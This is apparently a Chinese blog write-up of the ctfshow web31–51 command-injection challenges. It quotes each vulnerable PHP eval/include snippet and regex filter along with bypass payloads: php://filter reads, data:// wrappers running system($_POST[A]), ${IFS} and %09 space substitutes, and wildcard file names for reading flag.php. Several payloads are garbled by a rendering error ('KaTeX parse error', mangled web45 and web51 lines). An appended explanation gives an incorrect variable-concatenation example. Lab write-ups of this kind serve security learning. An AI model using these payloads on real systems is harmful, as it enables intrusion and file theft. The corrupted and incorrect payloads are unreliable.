命令注入ctfshow

本文探讨了PHP中针对命令注入的CTF题目,涉及payload创建、字符过滤和编码技巧,如eval()、include、data伪协议和文件包含漏洞利用。重点展示了如何利用各种技术绕过安全检查,获取flag,以及官方提供的解决方案和提示。

title: CTFshow命令注入
date: 2021-07-15
tags: [ctf]
description: 刷题记录

搜索引擎http://helosec.com/
正则解释https://regexper.com/

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤
flag system php cat sort shell . 空格 ’

payload:?c=eval($_GET[1]);&1=system(“cat flag.php”);

官方wp show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse:以相反的元素顺序返回数组
scandir: 列出指定路径中的文件和目录
pos???
localeconv() 函数返回一包含本地数字及货币格式信息的数组。?????

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/

官方wp:c=nice=includenice=includenice=include_GET[“url”]?>&url=php://filter/read=convert.base64 encode/resource=flag.php
?>代替分号

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “"”
payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include:利用文件包含
php伪协议:php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件
base64在线解码:https://base64.us/

官方wp:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
?><?干啥用?????

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload: ?c=includeKaTeX parse error: Expected 'EOF', got '&' at position 10: _GET[1]?>&̲1=php://filter/…_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

。。。。。一模一样

web36

过滤数字把上面的1换成a

web 37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

data伪协议
payload:?c=data://text/plain,<?php system($_POST[A]);?>
POST A=cat flag.php
官方wp:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

过滤php
把<?php 换成 <=
data伪协议
payload:?c=data://text/plain,<?= system($_POST[A]);?>
POST A=cat flag.php

web39

如上
hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }        
}else{
    highlight_file(__FILE__);
}

过滤的中文括号
读取当前文件夹文件:?c=print_r(scandir(pos(localeconv())));
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出

官方wp:
show_source(next(array_reverse(scandir(pos(localeconv())))));
GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls

web41

不会来个大佬教我!!!

web42

payload:c=ls;%0a也行||也行
;执行多个命令

web43

; cat 过滤
用%0a 和 tac 等等

web44

; cat flag过滤
用%0a 和 tac fla?.php fla*.php fl\ag.php等等

web45

过滤空格
echoIFS‘tacIFS`tacIFStacIFS*`%0A
payload:/?c=tac${IFS}fla?.php%0a
system中 ${IFS}代替空格

web46 web47 web48 web 49 web50

tac|more|less|curl|nl|tail|sort|strings读取

过滤了$
%09代替
/?c=tac%09fla?.php%0a(web50过滤%09)
nl<fla’'g.php||(查看源码)

web51

过滤,nl用nl,nl 用nl,nlnl{IFS}fla’'g.php||

### CTFShow 命令执行漏洞 解题思路 分析 #### 题目环境概述 在给定的 PHP 代码片段中,存在一个 GET 参数 `c` 的处理逻辑[^1]。当接收到此参数时,程序会检查该字符串是否包含敏感关键字 "flag"(不区分大小写),如果不包含,则通过 `eval()` 函数直接执行传入的内容。 ```php <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } } else { highlight_file(__FILE__); } ?> ``` 这种设计方式非常危险,因为它允许攻击者提交任意 PHP 代码并被执行,除非这些代码包含了特定的关键字 "flag"。这实际上是一个典型的命令注入漏洞实例。 #### 利用技巧探讨 为了绕过检测机制,可以考虑采用多种手段来规避关键词过滤: - **编码转换**:尝试使用 URL 编码或者其他形式的数据编码技术改变输入格式; - **字符替换**:寻找其他能够实现相同功能但不会触发正则表达式的替代方案; - **多阶段载荷构建**:分步构造最终要运行的有效负载,使得每一步都不违反规则; 对于本案例而言,由于不允许出现 “flag”,因此可以通过巧妙地组合变量名或其他合法语法结构,在不影响实际效果的前提下避开这个限制条件。 #### 实际操作建议 假设目标是在服务器上读取某个文件中的标志位信息(即所谓的 'flag')。考虑到上述提到的安全措施,一种可能的方法如下所示: ```bash ?c=$a='fl';$b='ag';echo$$a.$b; ``` 这段代码创建了两个独立的部分 `$a` 和 `$b` 并将其拼接起来形成完整的单词 "flag",从而成功避开了简单的模式匹配检查[^3]。 另外值得注意的是,在某些情况下还可以借助于 PHP 内置的功能特性来进行间接调用,比如利用反向 shell 或者其他 WebShell 技术获取更深层次的操作权限。 #### 安全提示 尽管这里讨论的技术细节主要用于教育目的以及提高网络安全意识,但在真实环境中应当严格遵循最佳实践指南,确保应用程序和服务免受此类威胁的影响。开发人员应该始终采取适当的安全防护措施,如禁用不必要的函数、实施严格的输入验证等策略防止潜在风险的发生。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值